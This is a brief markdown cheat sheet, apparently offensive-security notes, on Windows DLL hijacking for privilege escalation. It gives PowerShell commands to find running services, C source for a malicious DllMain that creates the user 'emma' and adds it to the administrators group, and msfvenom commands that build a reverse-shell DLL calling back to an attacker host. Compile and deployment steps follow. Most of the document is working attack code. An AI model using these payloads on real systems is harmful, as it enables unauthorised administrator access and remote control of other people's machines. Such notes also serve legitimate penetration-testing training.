# DLL Hijacking

## Steps:

#### 1: Find a service that when it is executed, searches for a DLL at a directory we have access to overwrite

```
Get-CimInstance -ClassName win32_service | Select Name, State, PathName | Where-Object {$_.State -like 'Running'}
$env:path
```

#### 2: Create the DLL payload in C by either adding a user to administrators group or a reverse shell.

Adding user

```
#include <windows.h>

BOOL APIENTRY DllMain(
    HMODULE hModule,       // Handle to DLL module
    DWORD ul_reason_for_call, // Reason for calling function
    LPVOID lpReserved      // Reserved
) {
    if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
        // Execute system commands to add a new user and grant admin rights
        system("net user emma Password123! /add");
        system("net localgroup administrators emma /add");
    }
    return TRUE;
}
```

Reverse shell

```
# For 64-bit DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll -o reverse_shell.dll

# For 32-bit DLL
msfvenom -p windows/shell_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -f dll -o reverse_shell.dll
```

#### 3: Compile the C program to DLL (-shared)

```
x86_64-w64-mingw32-gcc DLLMain.cpp --shared -o DLLMain.dll
```

#### 4: Copy file to target at the target directory

#### 5: Restart dllsvc
